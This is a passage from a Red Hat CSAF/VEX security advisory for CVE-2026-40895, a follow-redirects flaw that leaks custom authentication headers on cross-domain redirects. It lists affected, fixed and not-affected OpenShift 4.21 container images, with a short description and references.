"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2460297"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-40895"
},
{
"category": "external",
"summary": "RHBZ#2460297",
